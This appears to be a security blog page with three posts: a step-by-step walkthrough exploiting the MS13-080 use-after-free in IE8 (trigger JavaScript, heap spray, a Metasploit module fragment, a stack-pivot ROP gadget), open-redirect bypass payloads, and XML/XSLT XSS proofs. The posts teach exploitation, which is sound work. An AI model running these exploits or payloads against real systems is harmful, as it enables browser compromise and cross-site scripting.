Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3

A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference.

This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes.

Setup

Install a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, http://www.oldapps.com/internet_explorer.php?old_internet_explorer=17. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise.

We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following:

(31c.8f0): Access violation - code c0000005 (!!! second chance !!!)
eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78
eip=63662dca esp=020be7ec ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xb6:
63662dca ff11            call    dword ptr [ecx]      ds:0023:02ff0801=????????
0:008> ub
mshtml!CTreeNode::GetInterface+0xa2:
63662db6 f3a7            repe cmps dword ptr [esi],dword ptr es:[edi]
63662db8 0f84c9f31800    je      mshtml!CTreeNode::GetInterface+0x1e9 (637f2187)
63662dbe 8b03            mov     eax,dword ptr [ebx]
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
0:008> k
ChildEBP RetAddr  
020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6
020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24
020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3
020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
020be990 638e5dab mshtml!CElement::setCapture+0x50
...

Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference).

Investigation

Let’s take a second to analyze.

The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved.

gflags

Running the same file, you will get a different crash now.

(40c.a04): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0
eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::HasContainerCapture+0x14:
635f4478 8b0f            mov     ecx,dword ptr [edi]  ds:0023:0d5b6fb0=????????
0:008> k
ChildEBP RetAddr  
037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14
037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2
037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
037ce990 638e5dab mshtml!CElement::setCapture+0x50

We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg.

Using the info stored in heaplib, we can use this to find the size of the chunk

0:023> .printf "0x%x", 1000 - edi & 0xFFF
0x50

Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following.

<html>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
  lfh[i] = document.createElement('div');
  lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
 

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");

    tt = new Array(20);
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424";
    }
  }
 
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
 
window.onload = function() {
  trigger();
}
</script>
</html>

We will now get a crash that looks like this:

(be0.9e4): Access violation - code c0000005 (!!! second chance !!!)
eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78
eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]  ds:0023:24242424=????????
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
63662dca ff11            call    dword ptr [ecx]
63662dcc 8bf0            mov     esi,eax
63662dce 85f6            test    esi,esi

This is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section.

Metasploit browser Detection, Heap Spray, and ROP

Because we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way.

First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8.

    'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows 7 with Office 2007|2010',
            {
              :os_name   => /win/i,
              :ua_name   => HttpClients::IE,
              :ua_ver    => "9.0",
              :os_flavor => "7",
              :office    => /2007|2010/
            }
          ],
          [
            'Windows XP with IE 8',
            {
              :os_name   => "Windows XP",
              :ua_name   => HttpClients::IE,
              :ua_ver    => "8.0";
            }
          ]
        ],

Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that.

At this point you should be able to have eip control (eip=0x414141) using something like this

  def get_exploit_html_ie8(cli, target_info)
    #address containing our heap spray is 0x20302020
    spray_addr = "\\u2020\\u2030"

    #size to fill after free is 0x50
    free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) 

    %Q|
<html>
<script>

#{js_property_spray}
tt = new Array(30);

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");
    
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className ="#{free_fill}";
    } 

  var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");  //this is mangled thanks to wordpress, but is just escaped js strings
  sprayHeap({shellcode:s});
  }

  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture(); 
}
 
window.onload = function() {
  trigger();
}
</script>
</html>
    |
  end

Finally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html.

To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found

0x77c3868a
xchg eax, esp
rcr dword [ebx-0x75], 0xFFFFFFC1
pop ebp 
ret  

This will work great. Now just put them in the right order, and we have our exploit!

msf_msgbox

I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions.

Follow-Ups

Some of my favorite work in this space is done by Peter Vreugdenhil at exodusintel. For a more advanced UAF (from someone who knows WAY more about browser exploitation than I do) see http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/

I plan on doing a part II here, perhaps trying to touch on memory leaks and newer browsers. Stay tuned…

Some Interesting URI Parsing Quirks and Open Redirects

Parsing the “relativeness” of a URI seems to be a pretty browser specific thing, and doing some quick tests there are several quirks that might be useful/dangerous. The Tangled Web (which is an awesome book) aludes to some of these.

Some URI Quirks

Let’s look at some tests with the URIs grabbed from the location header. The browsers I’m testing right now are IE9, Chrome 17 something, and Firefox 11.

All browsers are happy with this, and go to google.com

header(“Location: //google.com”);

Both Firefox and chrome truncate extra slashes
So

header(“Location: http:///////////////////////google.com“);

is completely happy.

IE is interesting, as it will be equally happy with and /

header(“Location: https:\\google.com\“); <– this works

The spacing doesn’t seem to matter, so all browsers are happy with:

header(“Location:                        http://google.com“);

as well as

header(“Location:http://google.com&#8221;);

My favorite is this. In chrome and Firefox

header(“Location: http:google.com”);

will redirect to a relative URI, but for whatever reason

header(“Location: https:google.com“);

will redirect to google.com. wtf?

Same Domain Redirect

These parsing quirks can be useful for several attacks, and the first thing that came to mind for me was open redirects.  It’s a pretty common scenario to want to allow sites  redirecting based on the parameter as long as it’s in the same domain. It can be expensive to whitelist every URI (which would be ideal), so although that’s a great solution, I also think allowing redirects to your own domain is sometimes better than nothing …despite there being some risks associated with it, like giving an attacker a way to bypass the IE8 XSS filter http://packetstorm.wowhacker.com/papers/general/msie-xssbypass.pdf.

So, below are some (broken) examples of websites trying to accomplish this, allowing a redirect but only to their own site.

Broken Example 1 – startswith /

One naive way to try to perform arbitrary on-site local redirects would be something like the following, which takes the redir query parameter and make sure it starts with a slash:

$redir = $_GET['redir'];
#if redir starts with /
if (strpos($redir, "/", 0) === 0)
header("Location: " . $redir);

Obviously, this can be bypassed in all browsers with //google.com

Broken Example 2 – No Semicolons, Can’t start with /, and in fact, don’t start with // either

This PHP tries to prevent off-site redirects with the following snippet

$redir = $_GET['redir'];
#make sure redir doesn't have slashes, and doesn't have semicolons
if ((strpos($redir, "/", 0) != 0) and (strpos($redir, "/", 1) != 1) and (strpos($redir, ":") === false))
{
header("Location: " . $redir);
}

Because you can prepend spaces, one way to bypass this is to send the following:

redir=%20%20//google.com

Broken Example 3 – No Slashes at all

Ok, what if there are no slashes are allowed at all? You can’t very well have http://blah.com without a slash, after all, so this intuitively might make sense. The code for this might look something like:

$redir = $_GET['redir'];
#if no / in the string
if (strpos($redir, "/") === false)
  header("Location: " . $redir);

However, using the quirks above, this can be bypassed by using redir=https:google.com in FF and chrome, and it can be bypassed in IE with redir=\google.com

Broken Example 4 – Built in Libraries:

Surely there are libraries that solve this problem. Well, maybe there are, but there are certainly libraries people use to try to solve this problem, but they don’t do it as people expect (e.g. a library might call a URI relative when a browser treats it as absolute). Making a library that works well is a fundamentally tough problem because all these browsers have quirks and the library has to match all browsers. So is a library supposed to call https:google.com a relative or a full uri? (it’s relative in IE but full in chrome and FF)

Here’s one C# example where someone might try to figure out if a URI is relative URI using the IsAbsoluteUri property in .net system.Uri.

        static void Main(string[] args)
        {

            String[] uriArray = new String[] {
                "//google.com/test.html",                 //relative
                "\\google.com\test.html",              //relative
                "/////////google.com/test.html",          //relative
                "https:google.com",                       //relative
                "http://google.com",                      //absolute
                "http:///////////////////google.com",     //absolute
                "           http://google.com"            //absolute
            };

            foreach (String uriString in uriArray)
            {
                try
                {
                    Uri uri = new Uri(uriString, UriKind.Relative); //works
                    if (!uri.IsAbsoluteUri)
                    {
                        Console.WriteLine("is a relative URI: {0}", uriString);
                    }
                }
                catch (UriFormatException e)
                {
                    Console.WriteLine("not a relative URI: {0}", uriString);
                }
            }
        }

Broken Example 5 – startswith Whitelisted Domain

This is a classic example. Even though it doesn’t have much do do with parsing quirks, it can be subtle and illustrates an important point.  So say an application does the following to make sure the redirect is on the correct domain.

String redir = Request["redir"];
if (redir.StartsWith("http://goodsite.com"))
{
	Response.Redirect(redir);
}

Can an attacker still exploit this? The answer is yes, by setting redir=http://goodsite.com.badsite.com/

What’s the Right Way to do on-domain Redirects?

So open redirects are in the owasp top ten, and they have some guidance here: https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards. However, to summarize, it basically says to whitelist and don’t redirect. I do agree, but again, what if you want to do on-domain redirects? The best I can think of is to do something like this:

startswith(http://goodsite.com/ || https://goodsite.com/)

Note the trailing slash, which prevents broken example #5.  I don’t think it’s possible to redirect off-site with this type of code… but if someone knows otherwise, I’d definitely be interested in how to do it :)

Serving Back XML for XSS

In our “New ways I’m going to hack your web app” talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched our presentation and sent me an email wondering why we didn’t just use an XSLT stylesheet embedded in the XML. This is the same technique Chris Evans uses here: http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html. I didn’t know this was even possible, but it turns out it makes step#1 unnecessary.

In our original example, we had this xsl file saved as a jpg:


<?xml version="1.0" encoding="utf-8" ?>
 <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
 </xsl:stylesheet>

And we had the xml that applied it as a wxr file.


<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="./badxsl.jpg"?>
<document>
 <x name="x">x</x>
 <abc>
 <def>def</def>
 </abc>
</document>

These can be combined the same way Chris Evans does it. So for script execution in just the wxr file, the end result looks like this:


<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses[
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>
]>
<document>
<node />
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
</xsl:stylesheet>
</document>

This fires in IE9:

 

This doesn’t work in Firefox or Chrome. But if an app is serving back xml then you always have other tricks, like trying to get the browser to render the xml as xhtml. Like the following works in Chrome whatever and Firefox 9, but not IE.

<?xml version="1.0"?>
<foo>
<html xmlns:html='http://www.w3.org/1999/xhtml'>
 <html:script>alert(1);</html:script>
</html>
</foo>

Follow

Get every new post delivered to your Inbox.

Join 39 other followers